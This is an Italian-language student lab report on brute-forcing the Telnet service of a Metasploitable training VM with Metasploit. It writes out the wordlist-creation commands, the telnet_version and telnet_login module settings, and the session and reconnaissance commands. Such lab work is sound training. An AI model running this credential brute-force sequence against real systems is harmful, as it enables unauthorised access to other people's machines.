**Report dell'Esercizio di Utilizzo di Metasploit per Sfruttare la Vulnerabilità Telnet su Metasploitable**

In questo esercizio, ho utilizzato Metasploit per sfruttare la vulnerabilità Telnet sulla macchina Metasploitable. Seguo gli step visti in lezione teorica configurando l'IP della mia macchina Kali a 192.168.1.25 e l'IP della mia macchina Metasploitable a 192.168.1.40.

**Immagine che contiene testo, schermata, design

Descrizione generata automaticamente**

**Step 1: Creazione dei File di Utenti e Password**

Ho creato due file: `users.txt` e `passwords.txt`:

Immagine che contiene testo, Software multimediale, schermata

Descrizione generata automaticamente

Ho usato i comandi ‘echo’ per inserire i dati nei file e li ho salvati nella directory ‘/tmp’.

“

echo -e "admin\nuser\nroot\nguest\nmsfadmin" > /tmp/users.txt

echo -e "password\n123456\nadmin\nguest\nmsfadmin\nroot" > /tmp/passwords.txt

“

**Step 2: Avvio di Metasploit e Utilizzo del Modulo Telnet Version**

Ho avviato Metasploit con il comando ‘msfconsole’. Poi, ho caricato il modulo ‘auxiliary/scanner/telnet/telnet\_version’ per verificare la versione del servizio Telnet sulla macchina Metasploitable.

Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente

“

msf > use auxiliary/scanner/telnet/telnet\_version

msf auxiliary(scanner/telnet/telnet\_version) > set RHOSTS 192.168.1.40

msf auxiliary(scanner/telnet/telnet\_version) > exploit

“

Il modulo ha identificato correttamente il servizio Telnet in esecuzione sulla macchina di destinazione.

**Step 3: Utilizzo del Modulo Telnet Login per Forzare l'Accesso**

Ho utilizzato il modulo ‘auxiliary/scanner/telnet/telnet\_login’ per tentare un attacco di forza bruta contro il servizio Telnet sulla macchina Metasploitable. Ho configurato il modulo per usare i file di utenti e password creati in precedenza.

Immagine che contiene testo, schermata, Carattere, menu

Descrizione generata automaticamente

“

msf > use auxiliary/scanner/telnet/telnet\_login

msf auxiliary(scanner/telnet/telnet\_login) > set RHOSTS 192.168.1.40

msf auxiliary(scanner/telnet/telnet\_login) > set USER\_FILE /tmp/users.txt

msf auxiliary(scanner/telnet/telnet\_login) > set PASS\_FILE /tmp/passwords.txt

msf auxiliary(scanner/telnet/telnet\_login) > exploit

“

Il modulo ha tentato diverse combinazioni di utenti e password, riuscendo infine a trovare le credenziali corrette ‘msfadmin:msfadmin’.

**Step 4: Stabilire una Sessione con la Macchina Metasploitable**

Una volta ottenute le credenziali corrette, ho stabilito una sessione Telnet con la macchina Metasploitable.

Immagine che contiene testo, schermata

Descrizione generata automaticamente

“

msf auxiliary(scanner/telnet/telnet\_login) > sessions -i 1

“

Immagine che contiene testo, schermata, menu, design

Descrizione generata automaticamente

All'interno della sessione, ho eseguito alcuni comandi per verificare l'accesso e raccogliere informazioni sul sistema:

“

ps aux

ifconfig

“

**Risultati**

Ho confermato che il sistema era una vecchia versione di Linux, con vari servizi in esecuzione. La configurazione della rete e l'output dei processi attivi erano come previsto per una macchina vulnerabile Metasploitable.